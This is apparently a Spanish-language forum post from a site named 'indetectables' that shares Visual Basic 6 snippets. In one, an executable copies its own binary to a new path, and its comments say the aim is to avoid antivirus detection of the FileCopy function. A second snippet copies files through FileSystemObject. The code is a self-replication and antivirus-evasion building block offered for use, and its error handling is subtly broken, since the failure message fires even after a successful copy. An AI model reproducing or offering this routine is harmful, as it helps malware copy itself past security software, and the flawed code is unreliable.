Código: Seleccionar todo

'Modulo:Jcopy'
'Base:Visual Basic 6'
'Creador:Josfres'
'Fecha de creacion:Domingo 17 de Enero del 2009'
'Funcion:Otra manera de copiar un archivo,ya que la mayoria'
'de los AV detectan la funcion Filecopy de Vb'
'Uso y Distribuicion:Se permite la distribuicion siempre y
'cuando se respete el nombre del Autor'

Public Function jcopy(ByVal ruta As String) 'creamos la funcion'
On Error GoTo fallo
Dim datos As String 'marcamos datos como una variable'
Dim yo As String 'marcamos yo como una variable'
yo = App.Path & "\" & App.EXEName & ".exe" 'definimos la variable YO con nuestra ruta'
Open yo For Binary As #1 'nos autoleemos'
datos = Space(LOF(1)) 'definimos datos con todo el espacio'
Get #1, , datos 'obtemos nuestro exe'
Close #1 'nos cerramos'
If Len(Dir(ruta)) Then 'si exite el archivo no hacemos nada
Else 'si no existe lo creamos'
Open ruta For Binary As #1 'abrimos la ruta en binario'
Put #1, , datos 'metemos los datos'
Close #1 'cerramos los datos'
fallo: MsgBox "Error al copiar el archivo", vbCritical, "error"
End If
End Function

Código: Seleccionar todo

jcopy ("c:\indetectables.exe")

Código: Seleccionar todo

'Coded By The Swash at 20/01/2010
'CopyFile Other Method
'http://Infrangelux.sytes.net & www.indetectables.Net
'Thanks BlackZeroX
Option Explicit
Public Function CopyWithObject(sPath As String, nPath As String) As Long
 Dim sObj   As Object
 Dim Ret    As Long
 
 If FILEEXIST(sPath) = 0 Then Exit Function
  If FILEEXIST(nPath) Then Kill (nPath)
   Set sObj = CreateObject("Scripting.FileSystemObject")
     Ret = sObj.CopyFile(sPath, nPath)
      If FILEEXIST(nPath) <> 0 Then CopyWithObject = 1
     
End Function

Código: Seleccionar todo

Private Sub Command1_Click()
If CopyWithObject("C:\x.exe", "C:\xd.exe") <> 0 Then
 MsgBox "file copied"
 Else
 MsgBox "file not copied"
End If
End Sub

Código: Seleccionar todo

Private Sub Command1_Click()
MsgBox iIf (CopyWithObject("C:\x.exe", "C:\xd.exe") = 1 Or 2, "Done","Failed")
End Sub